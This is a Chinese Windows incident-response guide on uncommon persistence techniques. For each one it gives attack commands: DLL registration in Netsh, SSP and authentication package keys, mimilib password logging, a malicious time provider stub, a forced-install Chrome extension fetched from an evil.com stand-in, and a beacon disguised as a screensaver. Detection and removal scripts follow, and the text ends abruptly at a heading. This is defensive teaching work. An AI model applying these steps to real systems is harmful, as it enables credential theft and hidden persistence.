Windows应急响应/38-冷门持久化与内核级威胁补充
本篇覆盖 14 种冷门/高级 Windows 持久化技术,补充现有 Page 18-30 未涉及的 ATT&CK 技术
这些技术在 APT 攻击和红队行动中被广泛使用,但在常规应急响应中容易被忽略
每项技术均按 原理 → 攻击实现 → 检测 → 清除 四步结构组织
关联页面:30-持久化综合Checklist | 09-注册表持久化审计 | 22-DLL劫持与侧加载
一、Netsh Helper DLL 持久化 (T1546.007)
1.1 原理详解
Netsh(Network Shell) 是 Windows 内置的网络配置命令行工具
Netsh 支持通过 Helper DLL 机制扩展功能,第三方厂商可以注册自定义的网络配置模块
Helper DLL 注册后写入注册表:
1
| HKLM\SOFTWARE\Microsoft\NetSh
|
每当 netsh.exe 启动时,它会遍历该注册表键下的所有值,逐一加载对应的 DLL 文件
Helper DLL 必须导出 InitHelperDll 函数,netsh 通过调用此函数完成注册
为什么能被滥用:
注册表写入只需管理员权限,操作简单
netsh.exe 是 Microsoft 签名的合法二进制,加载的 DLL 在 netsh.exe 的进程空间中运行
某些系统组件和第三方软件会间接调用 netsh(如 Windows 防火墙配置、VPN 客户端等),导致恶意 DLL 被意外触发
不像 Run 键那样直接出现在 Autoruns 的默认视图中,隐蔽性较高
合法 Helper DLL 示例:
dhcpcmonitor.dll — DHCP 客户端监控
dot3cfg.dll — 802.1X 有线网络配置
fwcfg.dll — Windows 防火墙配置
netiohlp.dll — TCP/IP 配置
nteaborern.dll — BranchCache
whhelper.dll — Wireless Hosted Network
1.2 攻击实现
方法一:通过 netsh 命令注册
1 2
| :: 将恶意 DLL 注册为 netsh helper netsh add helper C:\Windows\Temp\evil_helper.dll
|
方法二:直接写注册表
1 2
| reg add "HKLM\SOFTWARE\Microsoft\NetSh" /v "MyHelper" /t REG_SZ /d "C:\ProgramData\update\helper.dll" /f
|
恶意 DLL 模板(C 语言伪代码):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <windows.h>
DWORD WINAPI InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) { return NO_ERROR; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); } return TRUE; }
|
实际攻击场景:
攻击者获取管理员权限后注册 Helper DLL
系统管理员日常使用 netsh 查询防火墙规则时触发恶意代码
某些软件安装/卸载过程会调用 netsh firewall 或 netsh advfirewall,间接触发
Windows Defender 防火墙配置变更时也可能调用 netsh
红队工具:
Metasploit: exploit/windows/local/netsh_helper_dll
SharpPersist: SharPersist.exe -t netshhelper -c "C:\evil.dll" -o add
1.3 检测方法
检查注册表中所有注册的 Helper DLL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Write-Host "`n[Netsh Helper DLL 列表]" -ForegroundColor Cyan $helpers = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NetSh" | Select-Object * -ExcludeProperty PS* $helpers | Format-List
$helpers.PSObject.Properties | Where-Object { $_.Name -notmatch '^PS' } | ForEach-Object { $dllPath = $_.Value if (Test-Path $dllPath) { $sig = Get-AuthenticodeSignature $dllPath $color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" } Write-Host " $($_.Name): $dllPath" -NoNewline Write-Host " [$($sig.Status)]" -ForegroundColor $color } else { Write-Host " $($_.Name): $dllPath [文件不存在!]" -ForegroundColor Yellow } }
|
命令行快速检查:
1
| reg query HKLM\SOFTWARE\Microsoft\NetSh
|
使用 Autoruns 检查:
Sysinternals Autoruns → 勾选 “Hide Microsoft entries” → 检查 Netsh 相关条目
Sysmon 事件监控:
Event ID 13(Registry Value Set):监控 HKLM\SOFTWARE\Microsoft\NetSh 的写入
Event ID 7(Image Loaded):监控 netsh.exe 加载的非系统 DLL
告警规则(Sigma 格式逻辑):
进程 = netsh.exe 且加载的 DLL 不在 %SystemRoot%\System32\ 目录下
1.4 清除方法
删除注册表条目:
1 2 3 4 5
| reg delete "HKLM\SOFTWARE\Microsoft\NetSh" /v "MyHelper" /f
netsh delete helper C:\ProgramData\update\helper.dll
|
删除恶意 DLL 文件:
1
| Remove-Item "C:\ProgramData\update\helper.dll" -Force
|
注意:不要删除合法的 Helper DLL(如 dhcpcmonitor.dll、nshhttp.dll 等),否则会影响 Windows 网络功能
二、Security Support Provider / SSP 持久化 (T1547.005)
2.1 原理详解
SSP(Security Support Provider) 是 Windows 安全子系统架构 SSPI 的核心组件
SSP 以 DLL 形式实现,由 LSASS(Local Security Authority Subsystem Service) 进程加载
Windows 内置的 SSP 包括:
msv1_0.dll — NTLM 认证
kerberos.dll — Kerberos 认证
schannel.dll — TLS/SSL
wdigest.dll — WDigest 认证(明文密码)
tspkg.dll — CredSSP(RDP 凭据委派)
pku2u.dll — PKU2U(P2P 认证)
攻击原理:攻击者将恶意 DLL 注册为 SSP,LSASS 会自动加载
恶意 SSP 可以拦截所有经过 LSASS 的认证请求,获取 明文密码
这比传统的内存抓取(如 Mimikatz sekurlsa::logonpasswords)更持久 —— 不是一次性抓取,而是持续记录每一次认证
2.2 两种注入方式
方式一:持久化注册表注入(重启后生效)
1 2 3 4 5 6 7 8 9
| reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
copy mimilib.dll C:\Windows\System32\mimilib.dll
|
1 2 3 4 5
| $packages = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages' $packages += "mimilib" Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" -Value $packages
|
方式二:内存注入(立即生效,重启失效)
1 2 3 4
|
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
|
著名案例:mimilib.dll(Mimikatz SSP 模块)
由 Benjamin Delpy(Mimikatz 作者)开发
导出 SpLsaModeInitialize 函数
拦截 SpAcceptCredentials 回调,将用户名和密码写入日志文件
日志默认位置:C:\Windows\System32\kiwissp.log(memssp)或 C:\Windows\System32\kiwissp.log(mimilib)
2.3 检测方法
检查注册表中的 Security Packages:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Write-Host "`n[Security Packages (SSP)]" -ForegroundColor Cyan $ssp = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages' $ssp | ForEach-Object { $dllPath = "C:\Windows\System32\$_.dll" if (Test-Path $dllPath) { $sig = Get-AuthenticodeSignature $dllPath $color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" } Write-Host " $_ -> $dllPath" -NoNewline Write-Host " [$($sig.Status)]" -ForegroundColor $color } else { Write-Host " $_ -> $dllPath [文件不存在]" -ForegroundColor Yellow } }
|
对比默认 Security Packages 基线:
1 2 3 4 5 6 7 8 9 10
| $baseline = @("", "kerberos", "msv1_0", "schannel", "wdigest", "tspkg", "pku2u") $current = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages' $anomaly = $current | Where-Object { $_ -and $_ -notin $baseline } if ($anomaly) { Write-Host "[!] 发现非默认 SSP:" -ForegroundColor Red $anomaly | ForEach-Object { Write-Host " $_" -ForegroundColor Red } } else { Write-Host "[+] Security Packages 正常" -ForegroundColor Green }
|
检查 LSASS 加载的 DLL 列表:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $lsass = Get-Process lsass $lsass.Modules | ForEach-Object { $sig = Get-AuthenticodeSignature $_.FileName -ErrorAction SilentlyContinue if ($sig.Status -ne "Valid" -or $sig.SignerCertificate.Subject -notmatch "Microsoft") { [PSCustomObject]@{ Module = $_.ModuleName Path = $_.FileName SigStatus = $sig.Status Signer = $sig.SignerCertificate.Subject } } } | Format-Table -AutoSize
|
检查 SSP 日志文件:
1 2 3 4 5 6 7
| @("C:\Windows\System32\kiwissp.log", "C:\Windows\System32\mimilsa.log") | ForEach-Object { if (Test-Path $_) { Write-Host "[!] 发现 SSP 凭据日志: $_" -ForegroundColor Red Get-Item $_ | Select-Object FullName, Length, LastWriteTime } }
|
Sysmon 监控:
Event ID 13:监控 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 修改
Event ID 7:LSASS 加载非系统 DLL
Windows 事件日志:
Event ID 4622(Security):加载了新的认证包
2.4 清除方法
从注册表移除恶意 SSP:
1 2 3 4
| $packages = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages").'Security Packages' $cleaned = $packages | Where-Object { $_ -ne "mimilib" } Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Security Packages" -Value $cleaned
|
删除恶意 DLL 文件:
1
| Remove-Item "C:\Windows\System32\mimilib.dll" -Force
|
删除凭据日志:
1 2
| Remove-Item "C:\Windows\System32\kiwissp.log" -Force -ErrorAction SilentlyContinue Remove-Item "C:\Windows\System32\mimilsa.log" -Force -ErrorAction SilentlyContinue
|
重启系统:对于内存注入的 SSP,重启即可清除
重要:清除 SSP 后应立即强制域内所有受影响用户修改密码,因为密码可能已被记录
三、Authentication Package 持久化 (T1547.002)
3.1 原理详解
Authentication Package(AP) 是 LSA(Local Security Authority)在系统启动时加载的 DLL
注册表位置:
1
| HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages
|
默认值:msv1_0(即 NTLM 认证包)
该值类型为 REG_MULTI_SZ,支持多个值,每行一个 DLL 名称(不含 .dll 后缀)
系统启动时 LSASS 进程读取该键,按顺序加载每个 Authentication Package DLL
AP DLL 必须导出以下函数:
LsaApInitializePackage — 初始化
LsaApLogonUser / LsaApLogonUserEx / LsaApLogonUserEx2 — 处理登录请求
LsaApCallPackage — 处理包调用
与 SSP 的区别:
| 特性 |
Authentication Package |
Security Support Provider |
| 注册表位置 |
Lsa\Authentication Packages |
Lsa\Security Packages |
| 加载时机 |
系统启动时 |
系统启动时 |
| 主要功能 |
处理认证逻辑(登录验证) |
提供安全协议实现(NTLM/Kerberos) |
| 导出函数 |
LsaApInitializePackage 等 |
SpLsaModeInitialize 等 |
| 权限级别 |
SYSTEM(LSASS 进程) |
SYSTEM(LSASS 进程) |
| 常见滥用 |
修改认证逻辑(万能密码) |
截获凭据(密码记录) |
攻击原理:
攻击者编写恶意 AP DLL,在 LsaApLogonUserEx2 中实现万能密码(skeleton key)
或者在 LsaApInitializePackage 中执行恶意代码(反弹 Shell、下载执行等)
DLL 放入 %SystemRoot%\System32\,DLL 名写入注册表 → 重启后加载
3.2 攻击实现
注册恶意 Authentication Package:
1 2 3 4 5 6 7 8 9
| Copy-Item "C:\Tools\evil_ap.dll" "C:\Windows\System32\evil_ap.dll"
$ap = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages").'Authentication Packages' $ap += "evil_ap" Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages" -Value $ap
|
Skeleton Key 攻击(Mimikatz):
实战中的 APT 案例:
APT28 / Fancy Bear:使用自定义 AP 在域控制器上维持访问
Skeleton Key 攻击:2015 年 Dell SecureWorks 报告的真实 APT 事件
3.3 检测方法
检查注册表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Write-Host "`n[Authentication Packages]" -ForegroundColor Cyan $ap = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages").'Authentication Packages'
$ap | ForEach-Object { if ($_ -eq "msv1_0" -or $_ -eq "") { Write-Host " $_ [默认]" -ForegroundColor Green } else { Write-Host " $_ [非默认!]" -ForegroundColor Red $dllPath = "C:\Windows\System32\$_.dll" if (Test-Path $dllPath) { $sig = Get-AuthenticodeSignature $dllPath Write-Host " 签名: $($sig.Status) | $($sig.SignerCertificate.Subject)" -ForegroundColor Yellow } } }
|
检测 Skeleton Key:
1 2 3 4 5 6 7 8 9
|
Get-Process lsass | Select-Object -ExpandProperty Modules | Where-Object { $_.ModuleName -notmatch "^(msv|kerb|schan|wdig|tspk|livess|negos|pku2u|cloud)" } | Format-Table ModuleName, FileName -AutoSize
|
Windows 事件日志:
Event ID 4610(Security):LSA 注册了新的认证包
Event ID 4611(Security):可信登录进程已注册
3.4 清除方法
从注册表移除:
1 2
| Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "Authentication Packages" -Value @("msv1_0")
|
删除恶意 DLL:
1
| Remove-Item "C:\Windows\System32\evil_ap.dll" -Force
|
清除 Skeleton Key:重启域控制器是最可靠的方法
后续处理:重置域内所有账户的 KRBTGT 密码(两次),确保金票失效
四、Time Provider DLL 持久化 (T1547.003)
4.1 原理详解
Windows 时间服务(W32Time) 负责系统时间同步,在域环境中尤为关键
W32Time 服务支持加载自定义的 Time Provider DLL 来实现时间源
注册表位置:
1
| HKLM\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\
|
每个子键代表一个 Time Provider,关键值:
DllName(REG_SZ):DLL 文件路径
Enabled(REG_DWORD):1 = 启用,0 = 禁用
InputProvider(REG_DWORD):1 = 输入提供者(获取时间),0 = 输出提供者
默认的 Time Provider:
NtpClient — NTP 客户端(DLL: %SystemRoot%\System32\w32time.dll)
NtpServer — NTP 服务端(DLL: %SystemRoot%\System32\w32time.dll)
VMICTimeProvider — Hyper-V 时间同步(虚拟机环境)
为什么能被滥用:
W32Time 服务默认以 LocalService 账户运行(在域控上以 SYSTEM 运行)
服务在系统启动时自动启动,DLL 被自动加载
Time Provider DLL 只需导出 TimeProvOpen、TimeProvCommand、TimeProvClose 三个函数
攻击者可在 TimeProvOpen 中执行恶意代码
该持久化位置很少被安全工具检查
4.2 攻击实现
注册恶意 Time Provider:
1 2 3 4 5 6 7 8 9
| $regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\EvilTP" New-Item -Path $regPath -Force Set-ItemProperty -Path $regPath -Name "DllName" -Value "C:\Windows\System32\evil_time.dll" -Type String Set-ItemProperty -Path $regPath -Name "Enabled" -Value 1 -Type DWord Set-ItemProperty -Path $regPath -Name "InputProvider" -Value 1 -Type DWord
Restart-Service W32Time
|
恶意 DLL 需要导出的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <windows.h>
HRESULT WINAPI TimeProvOpen(WCHAR* pszName, void* pContext, void** ppProviderData) { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MaliciousPayload, NULL, 0, NULL); return S_OK; }
HRESULT WINAPI TimeProvCommand(void* pProviderData, int eCmd, void* pvArgs) { return S_OK; }
HRESULT WINAPI TimeProvClose(void* pProviderData) { return S_OK; }
|
红队工具:
Metasploit: post/windows/manage/time_provider
SharPersist: SharPersist.exe -t timeprovider -c "C:\evil_time.dll" -o add
4.3 检测方法
检查所有 Time Provider 注册:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Write-Host "`n[Time Provider DLL 列表]" -ForegroundColor Cyan $tpRoot = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders" Get-ChildItem $tpRoot | ForEach-Object { $tp = Get-ItemProperty $_.PSPath $dllName = $tp.DllName $enabled = $tp.Enabled Write-Host "`n Provider: $($_.PSChildName)" -ForegroundColor White Write-Host " DllName: $dllName" Write-Host " Enabled: $enabled" if ($dllName -and (Test-Path $dllName)) { $sig = Get-AuthenticodeSignature $dllName $color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" } Write-Host " 签名状态: $($sig.Status)" -ForegroundColor $color } elseif ($dllName) { Write-Host " [!] DLL 文件不存在" -ForegroundColor Yellow } }
|
已知正常基线对比:
1 2 3 4 5 6 7 8
| $tpRoot = "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders" Get-ChildItem $tpRoot | ForEach-Object { $dll = (Get-ItemProperty $_.PSPath).DllName if ($dll -and $dll -ne "%SystemRoot%\System32\w32time.dll" -and $dll -ne "C:\Windows\System32\vmictimeprovider.dll") { Write-Host "[!] 非默认 Time Provider: $($_.PSChildName) -> $dll" -ForegroundColor Red } }
|
Sysmon 监控:
Event ID 13:监控 Services\W32Time\TimeProviders\*\DllName 的注册表修改
4.4 清除方法
删除恶意 Time Provider:
1 2 3 4 5 6 7 8
| Remove-Item "HKLM:\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\EvilTP" -Recurse -Force
Remove-Item "C:\Windows\System32\evil_time.dll" -Force
Restart-Service W32Time
|
五、Office 持久化 (T1137)
5.1 原理详解
Microsoft Office 拥有极其丰富的扩展机制,每一种都可能被攻击者滥用
Office 持久化在钓鱼攻击中特别常见:钓鱼邮件诱导用户打开恶意文档 → 首次执行恶意代码 → 部署 Office 级持久化
为什么 Office 持久化值得单独关注:
用户几乎每天使用 Office,触发频率极高
Office 进程以用户权限运行,不需要管理员权限即可部署
多种持久化机制互为备份,增加清除难度
很多安全工具不深入检查 Office 配置
5.2 Word/Excel STARTUP 文件夹
原理:Office 应用在启动时自动加载 STARTUP 文件夹中的模板和加载项
Word STARTUP 文件夹:
1
| %APPDATA%\Microsoft\Word\STARTUP\
|
Excel XLSTART 文件夹:
1
| %APPDATA%\Microsoft\Excel\XLSTART\
|
攻击者将含有恶意宏的 .dotm(Word 模板)或 .xlsb/.xla/.xlam(Excel 加载项)放入该目录
每次用户打开 Word/Excel 时自动加载并执行宏代码
攻击示例:
1 2 3 4 5
| Copy-Item "C:\Temp\evil.dotm" "$env:APPDATA\Microsoft\Word\STARTUP\update.dotm"
Copy-Item "C:\Temp\evil.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\analysis.xlam"
|
检测:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Write-Host "`n[Word STARTUP 文件夹]" -ForegroundColor Cyan $wordStartup = "$env:APPDATA\Microsoft\Word\STARTUP" if (Test-Path $wordStartup) { Get-ChildItem $wordStartup -Recurse | Select-Object Name, Length, LastWriteTime, FullName } else { Write-Host " (文件夹不存在)" }
Write-Host "`n[Excel XLSTART 文件夹]" -ForegroundColor Cyan $excelStart = "$env:APPDATA\Microsoft\Excel\XLSTART" if (Test-Path $excelStart) { Get-ChildItem $excelStart -Recurse | Select-Object Name, Length, LastWriteTime, FullName } else { Write-Host " (文件夹不存在)" }
|
5.3 Office 全局模板注入
Word Normal.dotm:
路径:%APPDATA%\Microsoft\Templates\Normal.dotm
Normal.dotm 是 Word 的全局模板,每次启动 Word 都会加载
攻击者在 Normal.dotm 中嵌入恶意 VBA 宏(如 AutoOpen、Document_Open)
检测:
1 2 3 4 5 6 7 8 9 10
| $normalDotm = "$env:APPDATA\Microsoft\Templates\Normal.dotm" if (Test-Path $normalDotm) { $item = Get-Item $normalDotm Write-Host "Normal.dotm: $($item.Length) bytes, Modified: $($item.LastWriteTime)" -ForegroundColor Yellow if ($item.Length -gt 50000) { Write-Host "[!] Normal.dotm 体积异常偏大,可能包含恶意宏" -ForegroundColor Red } }
|
Excel Personal.xlsb:
路径:%APPDATA%\Microsoft\Excel\XLSTART\Personal.xlsb
类似 Normal.dotm,Excel 的个人宏工作簿
如果用户从未录制过个人宏,此文件不应存在
检测:
1 2 3 4
| $personalXlsb = "$env:APPDATA\Microsoft\Excel\XLSTART\Personal.xlsb" if (Test-Path $personalXlsb) { Write-Host "[!] 存在 Personal.xlsb: $(Get-Item $personalXlsb | Select-Object Length, LastWriteTime)" -ForegroundColor Yellow }
|
5.4 VSTO Add-in(.NET Office 插件)
原理:Visual Studio Tools for Office 允许使用 .NET 开发 Office 插件
VSTO 加载项通过注册表注册:
1 2
| HKCU\SOFTWARE\Microsoft\Office\<App>\Addins\<AddinName> HKLM\SOFTWARE\Microsoft\Office\<App>\Addins\<AddinName>
|
关键值:
Manifest:指向 .vsto 文件的 URL 或路径
LoadBehavior:3 = 启动时加载
攻击者可以注册恶意 VSTO 加载项,每次 Office 启动时执行 .NET 代码
检测:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $officeApps = @("Word", "Excel", "PowerPoint", "Outlook") foreach ($app in $officeApps) { foreach ($hive in @("HKCU", "HKLM")) { $path = "${hive}:\SOFTWARE\Microsoft\Office\$app\Addins" if (Test-Path $path) { Write-Host "`n[$hive\$app Addins]" -ForegroundColor Cyan Get-ChildItem $path | ForEach-Object { $props = Get-ItemProperty $_.PSPath Write-Host " $($_.PSChildName)" -ForegroundColor White Write-Host " Manifest: $($props.Manifest)" Write-Host " LoadBehavior: $($props.LoadBehavior)" } } } }
|
原理:COM Add-in 是传统的 Office 插件机制(基于 COM 组件)
注册表位置:
1 2
| HKCU\SOFTWARE\Microsoft\Office\<App>\Addins\ HKLM\SOFTWARE\Microsoft\Office\<App>\Addins\
|
LoadBehavior 值决定加载行为:
0 = 不加载
1 = 用户请求时加载
2 = 启动时不加载(通知)
3 = 启动时自动加载(最常被滥用)
8 = 按需加载
9 = 首次启动时加载
16 = 所有用户加载
与 VSTO 使用相同的注册表路径,区别在于指向 COM DLL 而非 .vsto 清单
关联:23-COM劫持
5.6 Outlook 规则与表单
Outlook 恶意规则(T1137.005):
Outlook 邮件规则可以设置条件触发程序执行
例如:收到主题包含特定关键字的邮件 → 执行指定程序
规则存储在 Exchange 的隐藏邮件中或本地 .ost 文件中
攻击者可以通过 Outlook COM 对象或 MAPI 创建规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| try { $outlook = New-Object -ComObject Outlook.Application $namespace = $outlook.GetNamespace("MAPI") $inbox = $namespace.GetDefaultFolder(6) $rules = $namespace.DefaultStore.GetRules() Write-Host "`n[Outlook 邮件规则]" -ForegroundColor Cyan foreach ($rule in $rules) { Write-Host " 规则: $($rule.Name) | 启用: $($rule.Enabled)" -ForegroundColor White foreach ($action in $rule.Actions) { if ($action.ActionType -eq 1) { Write-Host " [!] 执行程序: $($action.Application)" -ForegroundColor Red } } } } catch { Write-Host " Outlook 未安装或无法访问" -ForegroundColor Yellow }
|
Outlook 恶意表单(T1137.003):
Outlook 自定义表单可以包含 VBScript 代码
攻击工具:Ruler(GitHub: sensepost/ruler)
表单存储在 Exchange 邮箱的关联项中(Associated Items)
检测:检查 Outlook 非默认表单、审计 Exchange 关联项
5.7 Office 持久化清除总结
清除 STARTUP 文件夹中的恶意文件:
1 2 3 4 5 6 7
| $suspicious = Get-ChildItem "$env:APPDATA\Microsoft\Word\STARTUP" -ErrorAction SilentlyContinue $suspicious += Get-ChildItem "$env:APPDATA\Microsoft\Excel\XLSTART" -ErrorAction SilentlyContinue $suspicious | ForEach-Object { Write-Host "移除: $($_.FullName)" Move-Item $_.FullName "$env:TEMP\quarantine_$($_.Name)" -Force }
|
恢复 Normal.dotm:
1 2
| Remove-Item "$env:APPDATA\Microsoft\Templates\Normal.dotm" -Force
|
移除恶意 Add-in 注册:
1 2
| Remove-Item "HKCU:\SOFTWARE\Microsoft\Office\Word\Addins\EvilAddin" -Recurse -Force
|
清除 Outlook 恶意规则:
通过 Outlook 客户端:文件 → 管理规则和通知 → 删除可疑规则
或使用 Ruler 工具的清除功能
六、浏览器扩展持久化 (T1176)
6.1 原理详解
浏览器扩展拥有对网页内容的完全访问权限,可以:
监控所有网页活动:包括 HTTPS 站点的明文内容
窃取登录凭据:拦截表单提交
注入恶意 JavaScript:篡改网页内容(银行木马常用手法)
读取 Cookie 和 Session:劫持已登录的会话
下载文件:静默下载恶意软件
为什么浏览器扩展持久化特别危险:
浏览器是用户使用频率最高的应用
扩展可以访问所有 HTTPS 流量的明文(突破 TLS 加密)
恶意扩展可以通过策略强制安装,用户无法卸载
企业环境中的组策略推送扩展很难被质疑
6.2 浏览器扩展存储位置
Google Chrome:
1 2
| 用户扩展: %LocalAppData%\Google\Chrome\User Data\Default\Extensions\ 策略扩展: %LocalAppData%\Google\Chrome\User Data\Default\External Extensions\
|
Microsoft Edge(Chromium):
1
| 用户扩展: %LocalAppData%\Microsoft\Edge\User Data\Default\Extensions\
|
Mozilla Firefox:
1
| 用户扩展: %AppData%\Mozilla\Firefox\Profiles\*.default-release\extensions\
|
扩展目录结构:
每个扩展有唯一 ID(32 字符字母串,如 aapbdbdomjkkjkaonfhkkikfgjllcleb)
每个 ID 目录下按版本号分子目录
核心文件:manifest.json(声明权限和入口点)
6.3 强制安装扩展(策略部署)
Chrome 强制安装注册表:
1 2
| HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist HKCU\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist
|
Edge 强制安装注册表:
1 2
| HKLM\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist HKCU\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist
|
值格式:<ExtensionID>;https://clients2.google.com/service/update2/crx
攻击者利用方式:
创建恶意扩展并上传到自控服务器
通过注册表或 GPO 强制安装到所有用户
用户在扩展管理页面看到 “由贵单位管理” 标识,无法手动卸载
攻击示例:
1 2 3 4
| $regPath = "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force } Set-ItemProperty -Path $regPath -Name "1" -Value "abcdefghijklmnopabcdefghijklmnop;https://evil.com/update.xml"
|
6.4 检测方法
列出所有已安装的 Chrome 扩展:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Write-Host "`n[Chrome 扩展列表]" -ForegroundColor Cyan $chromePath = "$env:LocalAppData\Google\Chrome\User Data\Default\Extensions" if (Test-Path $chromePath) { Get-ChildItem $chromePath -Directory | ForEach-Object { $extId = $_.Name $manifestFiles = Get-ChildItem $_.FullName -Recurse -Filter "manifest.json" | Select-Object -First 1 if ($manifestFiles) { $manifest = Get-Content $manifestFiles.FullName -Raw | ConvertFrom-Json $permissions = ($manifest.permissions -join ", ") Write-Host " ID: $extId" -ForegroundColor White Write-Host " Name: $($manifest.name)" Write-Host " Version: $($manifest.version)" Write-Host " Permissions: $permissions" $dangerous = @("<all_urls>", "webRequest", "webRequestBlocking", "nativeMessaging", "debugger") $found = $manifest.permissions | Where-Object { $_ -in $dangerous } if ($found) { Write-Host " [!] 高危权限: $($found -join ', ')" -ForegroundColor Red } } } }
|
检查强制安装策略:
1 2 3 4 5 6 7 8 9 10 11 12 13
| $forcePaths = @( "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist", "HKCU:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist", "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist", "HKCU:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist" ) foreach ($fp in $forcePaths) { if (Test-Path $fp) { Write-Host "`n[$fp]" -ForegroundColor Cyan Get-ItemProperty $fp | Select-Object * -ExcludeProperty PS* | Format-List } }
|
检查 Firefox 扩展:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Write-Host "`n[Firefox 扩展]" -ForegroundColor Cyan $profiles = Get-ChildItem "$env:APPDATA\Mozilla\Firefox\Profiles\*.default*" -Directory -ErrorAction SilentlyContinue foreach ($profile in $profiles) { $extDir = Join-Path $profile.FullName "extensions" if (Test-Path $extDir) { Write-Host " Profile: $($profile.Name)" -ForegroundColor White Get-ChildItem $extDir | ForEach-Object { Write-Host " $($_.Name) | $($_.LastWriteTime)" } } $extJson = Join-Path $profile.FullName "extensions.json" if (Test-Path $extJson) { $data = Get-Content $extJson -Raw | ConvertFrom-Json $data.addons | Where-Object { $_.type -eq "extension" } | ForEach-Object { Write-Host " $($_.defaultLocale.name) [$($_.id)] ver:$($_.version)" -ForegroundColor Gray } } }
|
6.5 清除方法
删除恶意扩展目录:
1 2 3 4 5 6 7
| Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue Stop-Process -Name msedge -Force -ErrorAction SilentlyContinue
$malExtId = "abcdefghijklmnopabcdefghijklmnop" Remove-Item "$env:LocalAppData\Google\Chrome\User Data\Default\Extensions\$malExtId" -Recurse -Force
|
移除强制安装策略:
1
| Remove-Item "HKLM:\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" -Recurse -Force
|
Firefox:通过 about:addons 页面卸载,或删除 extensions 目录中的 .xpi 文件
七、屏幕保护程序持久化 (T1546.002)
7.1 原理详解
屏幕保护程序(Screensaver) 本质上就是 .exe 可执行文件,只是扩展名改为 .scr
Windows 在用户空闲指定时间后自动运行屏幕保护程序
相关注册表(每用户配置):
1 2 3 4
| HKCU\Control Panel\Desktop\SCRNSAVE.EXE — 屏幕保护程序路径 HKCU\Control Panel\Desktop\ScreenSaveActive — 1=启用, 0=禁用 HKCU\Control Panel\Desktop\ScreenSaveTimeOut — 空闲超时秒数 HKCU\Control Panel\Desktop\ScreenSaverIsSecure — 1=恢复时需要密码
|
为什么能被滥用:
.scr 文件就是 .exe,可以执行任意代码
用户离开电脑后自动触发,不需要任何交互
以当前用户权限运行,不需要管理员权限配置(HKCU)
合法的屏幕保护设置不会引起怀疑
如果设置的超时时间很短(如 60 秒),触发频率极高
7.2 攻击实现
直接替换屏幕保护程序:
1 2 3 4 5 6 7
| Copy-Item "C:\Temp\beacon.exe" "C:\Users\Public\Photos\slideshow.scr"
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Public\Photos\slideshow.scr" /f reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d "1" /f reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60" /f
|
更隐蔽的方式 —— 包装器:
红队工具:
SharPersist: SharPersist.exe -t screensaver -c "C:\evil.scr" -o add
7.3 检测方法
检查屏幕保护配置:
